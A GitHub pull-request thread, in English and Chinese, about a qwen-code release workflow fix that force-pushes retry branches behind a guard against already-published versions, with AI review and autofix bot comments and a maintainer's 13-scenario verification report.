[建议] ::error:: 注解按原样输出,但在 exit 2 探测失败路径上,error.message 内嵌完整的 execSync 多行 stderr,而 runner 按行解析 workflow 命令 —— 注解恰好在诊断信息最重要时退化为第一行。 — 失败场景:探测失败(如 registry 故障)使 assertVersionUnreleased 抛出 Failed to verify <pkg>@<version> on npm: Command failed: npm view ... 及整段 npm 错误块;只有第一行成为注解,而运维排查失败关闭中止所需的 npm error code ETIMEDOUT 细节作为无注解的普通日志行溢出。控制流不受影响;这正是上方注释为 runner 设计该注解的原因。已用真实入口 + 打桩失败的 npm 探针证实:stdout 第 1 行为 ::error::Failed to verify @qwen-code/qwen-code@1.2.3 on npm: Command failed: npm view ...,第 2-5 行(npm error code ETIMEDOUT 等)无注解;采用下方修复后,stdout 收敛为单行注解,退出码仍为 2。

— qwen3.8-max via Qwen Code /review (v0.21.12)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Could not produce a passing fix for this feedback (round 9/10). This item now needs a human; the loop stays engaged and still picks up new feedback and base conflicts, but will not retry this item on its own.

What I found before stopping:
Autofix agent finished without required output file(s): address-summary.md, no-action.md.

See the Qwen Autofix agent step logs for model/tool output.

Run log: https://github.com/QwenLM/qwen-code/actions/runs/31852424865


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@wenshao

wenshao commented Aug 16, 2026

Copy link
Copy Markdown
Collaborator

Maintainer verification report — local rig against real npm / GitHub / git

I rebuilt the issue #9076 failure locally and ran both arms of this PR through the workflow's own step body, then exercised every path that must not force-push. Verified at head 298e7290ae against merge-base c396fe3d12 (origin/main).

Verdict: the fix does what it claims, and I could not find a path where it force-pushes something it shouldn't. Two things for you to decide before merging — see Judgment calls at the end.

How the rig works

  • A real bare repo is origin; two runner clones replay the incident: attempt pre-release: fix ci #1 pushes release/v0.21.12-preview.0 and "fails", a fix commit lands on main, then the retry runs.
  • The step body is not hand-copied — it is extracted from each arm's own .github/workflows/release.yml at run time (yaml.safe_loadjobs.publish.steps[]), with the workflow's own env: block rendered, and executed under bash -e (GitHub's default shell for run:). Plain bash was also run as a parity check: identical outcomes.
  • The guard's three probes are live, not mocked: npm view against registry.npmjs.org, git ls-remote against the rig's bare origin, gh release view against QwenLM/qwen-code.
  • A third arm, mutant, is this PR with only the 43 guard lines deleted (force push kept) — it isolates what the guard is actually buying.

Results — 13 scenarios

# scenario arm step exit remote release/<tag> version_refusal
S1 retry after a failed attempt (the incident) base 1 non-fast-forward unchanged — retry can never land
S2 same topology, same rig head 0 (forced update) replaced by the retry commit
S3 version really published on npm (0.21.11, all 10 pkgs) head 1 refusal untouched true
S13 partial publish (0.21.0 is on 3 of 10 pkgs today) head 1 refusal, names the 3 untouched true
S8 tag already on origin head 1 refusal untouched true
S4 npm registry unreachable head 2 (fail closed, 265 s) untouched — → still notifies
S10 gh release view cannot run (no token) head 2 (fail closed, 83 s) untouched — → still notifies
S5 operator dispatches a pre-guard ref head 1 Checked-out ref predates the guard untouched
S6 dry run head 0 Skipping push untouched
S7 first-ever release (branch absent) head 0 created
S12 first-ever release base 0 created
S9 guard deleted, same input as S3 mutant 0 (forced update) CLOBBERED
S11 guard deleted, tag exists on origin mutant 0 branch replaced, origin tag untouched

S1 reproduces the production failure verbatim — compare with run 31683228236's Commit and Conditionally Push package versions step:
! [rejected] release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (non-fast-forward).

before and after

S9 vs S3 is the case for the guard: identical inputs, and the only difference is the guard's presence.

guard is load-bearing

fail-closed paths

Blast radius of --force

--follow-tags pushes nothing here: the tag is created later, by gh release create in Create GitHub Release and Tag, so there is no local tag at push time. S11 confirms it empirically — even with the guard removed, an existing refs/tags/v0.21.12-preview.0 on origin survived the forced update untouched. The force is scoped to release/<tag>.

Tests, mutation coverage, and the two workflow gates

  • release-workflow.test.js + get-release-version.test.js on head: 61 passed, 0 failed.
  • Mutation matrix: 15/15 caught. I broke one property at a time on the head tree (drop --force; delete the capability check; drop RELEASE_VERSION/GITHUB_TOKEN from the step env; flip cancel-in-progress; drop is_dry_run from the group key; delete timeout-minutes; revert the notify gate; stop exporting the output; delete the retry loop; map the refusal to exit 2; let a non-E404 npm error pass; probe local tags instead of origin; drop the entry-point process.exit; stop scanning every package) — every one fails a test. The new pins are load-bearing.
  • notify_failure's if: evaluated with GitHub's own engine (@actions/expressions@0.3.61), not by hand: only the version_refusal == 'true' row flips (truefalse); generic publish failures, fail-closed probe errors, prepare failures and dry runs behave exactly as on main.
  • The publish concurrency group renders as release-publish-v0.21.12-preview.0-false / -true, so a dry run never queues ahead of the real release. GitHub-side queueing semantics itself isn't locally reproducible — flagged as untested below.
  • Full npm run test:scripts on head: 2 failures, both unrelated — install-script.test.js › does not package audio-capture test artifacts fails identically on the merge base (pre-existing, macOS), and qwen-autofix-fork-bridge-workflow.test.js times out only under parallel load (passes in 7.8 s in isolation on head).

tests and mutations

Judgment calls for you

1. The PR description no longer matches the diff. It documents only the force push, but the change now also adds the push-time guard (--assert-unreleased, exit codes 0/2/3), the pre-guard capability check, per-tag concurrency + timeout-minutes: 90, the version_refusal output, and the notify_failure gate. Worth rewriting before merge — the release archaeology for the next incident will start from this description.

2. A partial publish is now refused and silent. I checked against the live registry: prepare's getVersion auto-increments past any version that exists on any published package — even with an explicit version input (0.21.0-preview.0 → computes 0.21.0-preview.2). So exit 3 is only reachable in two ways: the version ships between prepare and the push (the race this guard is for — good), or "Re-run failed jobs" on a run that already published some packages, where prepare's outputs are reused. In that second case the guard refuses (S13 shows the real shape: refusal naming exactly the shipped subset), version_refusal=true is set, and notify_failure therefore files no Release Failed issue and dispatches no autofix — only a red run remains. That sits a little awkwardly against the publish steps, which were deliberately written to be resumable (already published; skipping). The refusal is safe and its message is honest ("complete the remaining artifacts manually"); the question is whether losing the notification for a half-shipped release is the outcome you want, or whether a partial hit should stay on the notify path.

Minor, no action needed: the capability check greps for the literal assert-unreleased, so a ref carrying that string only in a comment would pass it — not reachable in practice.

Not verified

Real end-to-end release (needs release credentials); GitHub's actual concurrency queueing/cancellation semantics (only the rendered group key and the pins are verified); Windows. The rig repo carries the PR's real scripts/, manifests and workflow, and stands in for npm run release:version with npm version + a manifest rewrite — the bump only needs to produce a divergent commit for this test.

中文版本

维护者验证报告 —— 本地真实环境(真 npm / 真 GitHub / 真 git)

我在本地重建了 issue #9076 的故障现场,把本 PR 的两个分支(base / head)分别跑在 workflow 自己的 step 脚本上,并逐条验证了所有"绝不该 force push"的路径。验证对象:head 298e7290ae,对照 merge-base c396fe3d12origin/main)。

结论:修复确实解决了它声称的问题,我没有找到任何会误伤的 force push 路径。 合并前有两点需要你拍板,见文末《需要你判断的点》。

验证台如何工作

  • 用真实 bare 仓库当 origin,两个 runner clone 复现事故:第一次尝试推送 release/v0.21.12-preview.0 后"失败",修复提交落到 main,然后跑重试。
  • step 脚本不是手抄的——运行时从各自分支的 .github/workflows/release.yml 里解析出来(yaml.safe_loadjobs.publish.steps[]),连 env: 块一起还原,并用 bash -e(GitHub 对 run: 的默认 shell)执行;另外用普通 bash 做了一次对照,结果一致。
  • guard 的三个探针都是真的,没有 mock:npm viewregistry.npmjs.orggit ls-remote 打 bare origin、gh release viewQwenLM/qwen-code
  • 第三个分支 mutant = 本 PR 只删掉 43 行 guard(保留 force push),用来隔离出 guard 到底买到了什么。

结果 —— 13 个场景

# 场景 分支 step 退出码 远端 release/<tag> version_refusal
S1 失败尝试后的重试(事故本体) base 1 non-fast-forward 未变 —— 重试永远落不了地
S2 同拓扑同环境 head 0 (forced update) 被重试提交替换
S3 版本确已发布到 npm(0.21.11,10 个包全有) head 1 拒绝 未被触碰 true
S13 部分发布(0.21.0 目前只在 3/10 个包上) head 1 拒绝,且点名这 3 个 未被触碰 true
S8 tag 已存在于 origin head 1 拒绝 未被触碰 true
S4 npm registry 不可达 head 2(fail closed,265 秒) 未变 — → 仍然发通知
S10 gh release view 跑不了(无 token) head 2(fail closed,83 秒) 未变 — → 仍然发通知
S5 操作者派发了早于 guard 的 ref head 1 Checked-out ref predates the guard 未变
S6 dry run head 0 Skipping push 未变
S7 首次发布(分支不存在) head 0 创建成功
S12 首次发布 base 0 创建成功
S9 删掉 guard,输入同 S3 mutant 0 (forced update) 被覆盖
S11 删掉 guard,origin 上已有 tag mutant 0 分支被替换,origin tag 毫发无损

S1 与生产日志逐字一致 —— 对照 run 31683228236Commit and Conditionally Push package versions 步骤:
! [rejected] release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (non-fast-forward)

S9 与 S3 的对比就是 guard 的价值证明:输入完全相同,唯一差别是有没有 guard。

--force 的影响半径

这里的 --follow-tags 实际什么都不推:tag 是在后面的 Create GitHub Release and Tag 里由 gh release create 创建的,push 时本地根本没有 tag。S11 实测确认:即使删掉 guard,origin 上已存在的 refs/tags/v0.21.12-preview.0 在 forced update 后依然原封不动。force 的作用域只有 release/<tag> 分支。

测试、变异覆盖与两处 workflow 闸门

  • head 上 release-workflow.test.js + get-release-version.test.js61 通过,0 失败
  • 变异矩阵 15/15 全被抓住。 我在 head 树上逐个破坏一个性质(去掉 --force;删掉能力检查;从 step env 去掉 RELEASE_VERSION/GITHUB_TOKEN;把 cancel-in-progress 翻成 true;从 group key 去掉 is_dry_run;删掉 timeout-minutes;把通知闸门改回旧写法;不再导出 output;删掉重试循环;把拒绝映射成 exit 2;让非 E404 的 npm 错误蒙混过关;改查本地 tag 而非 origin;去掉入口的 process.exit;命中后不再扫完所有包)——每一个都有测试失败。新加的 pin 都是有效的。
  • notify_failureif:GitHub 官方引擎@actions/expressions@0.3.61)求值,不是我手推的:只有 version_refusal == 'true' 这一行从 true 翻成 false;普通 publish 失败、fail-closed 的探针错误、prepare 失败、dry run 的行为与 main 完全一致。
  • publish 的 concurrency group 渲染为 release-publish-v0.21.12-preview.0-false / -true,dry run 不会排到真实发布前面。GitHub 侧的排队语义本身无法本地复现,已列入未验证项。
  • head 上跑完整 npm run test:scripts:2 个失败,均与本 PR 无关 —— install-script.test.js › does not package audio-capture test artifacts 在 merge-base 上同样失败(既有问题,macOS 环境),qwen-autofix-fork-bridge-workflow.test.js 只在并行压力下超时(head 上单独跑 7.8 秒通过)。

需要你判断的点

1. PR 描述已经与 diff 对不上了。 描述里只讲了 force push,但现在的改动还包含推送前的 guard(--assert-unreleased,退出码 0/2/3)、guard 前的能力检查、按 tag 的 concurrency + timeout-minutes: 90version_refusal 输出,以及 notify_failure 闸门。建议合并前重写 —— 下次事故的考古会从这段描述开始。

2. 部分发布现在会被拒绝,而且是"静默"的。 我对着线上 registry 核实过:preparegetVersion 会跳过任何"在任一已发布包上存在"的版本,即使操作者显式传了 version 也一样(0.21.0-preview.0 → 算出 0.21.0-preview.2)。所以 exit 3 只有两条到达路径:版本在 prepare 与 push 之间被发布出去(正是本 guard 要防的竞态,很好),或者对"已发布了部分包"的 run 点 "Re-run failed jobs" —— 这时 prepare 的 outputs 被复用。第二种情况下 guard 会拒绝(S13 展示了真实形态:拒绝并精确点名已发布的子集),version_refusal=true 被写入,于是 notify_failure 不会建 Release Failed issue、不会派发 autofix,只剩一个红色的 run。这与 publish 各步骤刻意写成可续跑(already published; skipping)的设计略有张力。拒绝本身是安全的、提示语也诚实("手动补齐剩余产物");问题在于:半发布状态下丢掉通知,是不是你想要的结果,还是说"部分命中"应当留在通知路径上。

小问题、无需处理:能力检查用的是字面量 assert-unreleased 的 grep,因此一个只在注释里出现该字符串的 ref 也能通过 —— 实际不可达。

未验证

真实端到端发布(需要发布凭据);GitHub 实际的并发排队/取消语义(只验证了 group key 的渲染与测试 pin);Windows。验证台仓库带的是 PR 真实的 scripts/、各 manifest 与 workflow,并用 npm version + manifest 改写代替 npm run release:version —— 本测试里 bump 只需要制造一个分叉提交。

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下:

This round had no actionable feedback to address: there were no inline comments, no failed checks, and this counting window's deferred non-Critical backlog is empty. On top of that, the deterministic growth brake is engaged (5 change-producing rounds; the diff sits at source 187 / test 410 net lines vs budgets 400/400 and is not shrinking), which instructs the loop to stop patching and hand the remaining decision to a maintainer. No code changes were made this round.

The decision now belongs to the maintainer (full handoff in the run summary): how to close out this PR — accept as-is, split, or redesign.

Recommendation: accept as-is and merge, because:

  • @wenshao's verification report at head 298e7290ae reproduced the incident on base, verified the fix on head across 13 live scenarios, found no path that force-pushes something it should not, and confirmed 61 passing release tests plus a 15/15 mutation matrix (every added pin is load-bearing).
  • The only overage is 10 test lines (~2.5% over the test budget), and each of those lines is one of those verified pins. There is no unimplemented tail to split off — and splitting would separate the force push from the guard that makes it safe (the report's mutant arm S9 shows the unguarded force push clobbers an already-published version).

Two maintainer judgment calls from that report remain open and are carried into the handoff:

  1. Rewrite the PR description before merge — it documents only the force push, not the push-time guard, capability check, per-tag concurrency/timeout pins, version_refusal output, or the notify_failure gate.
  2. Decide whether a partial-publish refusal ("Re-run failed jobs" on a half-published run, which the guard safely refuses) should stay on the Release Failed notification path; today the refusal also suppresses the notification.

No conflict with main. @qwen-code /retry starts a fresh counting window.

中文说明

本轮没有可处理的反馈:没有行内评论、没有失败的检查,本计数窗口延后的非 Critical 积压也为空。此外,确定性的增长刹车已经触发(已完成 5 个产生改动的轮次;diff 净增长为 源码 187 / 测试 410 行,预算 400/400,且仍未收缩),它指示循环停止继续修补,把剩余决策交给维护者。本轮未做任何代码改动。

决策现在属于维护者(完整 handoff 见本次运行的 summary):本 PR 如何收尾——按现状接受、拆分,或重新设计。

推荐:按现状接受并合并,理由:

  • @wenshao 在 head 298e7290ae 上的验证报告在 base 上复现了事故、在 head 上用 13 个真实场景验证了修复、未发现任何会误伤的 force push 路径,并确认 61 个 release 测试全部通过,以及 15/15 的变异矩阵(每个新增 pin 都是有效的)。
  • 唯一的超支是测试行超出 10 行(约超测试预算 2.5%),且每行都属于上述经过验证的 pin。不存在尚未实现的"尾巴"可供拆分——而且拆分会把 force push 与让它安全的 guard 分开(报告中的 mutant 分支 S9 表明:没有 guard 的 force push 会覆盖已发布的版本)。

该报告中两个维护者判断项仍然开放,已一并写入 handoff:

  1. 合并前重写 PR 描述——目前只写了 force push,未包含推送前 guard、能力检查、按 tag 的 concurrency/timeout pin、version_refusal 输出和 notify_failure 闸门。
  2. 决定"部分发布被拒绝"(对半发布的 run 点 Re-run failed jobs,guard 会安全地拒绝)是否应继续走 Release Failed 通知路径;目前拒绝的同时也会抑制通知。

与 main 无冲突。评论 @qwen-code /retry 可开启新的计数窗口。

Deferred non-Critical feedback

Critical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 187 / test 410 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (@qwen-code /retry starts a fresh counting window.)

中文说明

已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 187 / 测试 410 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 @qwen-code /retry 可开启新的计数窗口。)

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found. LGTM! ✅

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

未发现问题。LGTM!✅

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.12)

@wenshao
wenshao added this pull request to the merge queue Aug 16, 2026
Merged via the queue into main with commit f7f78fa Aug 16, 2026
57 checks passed
@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Released in v0.21.13.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Release Failed for v0.21.12-preview.0 on 2026-08-13

4 participants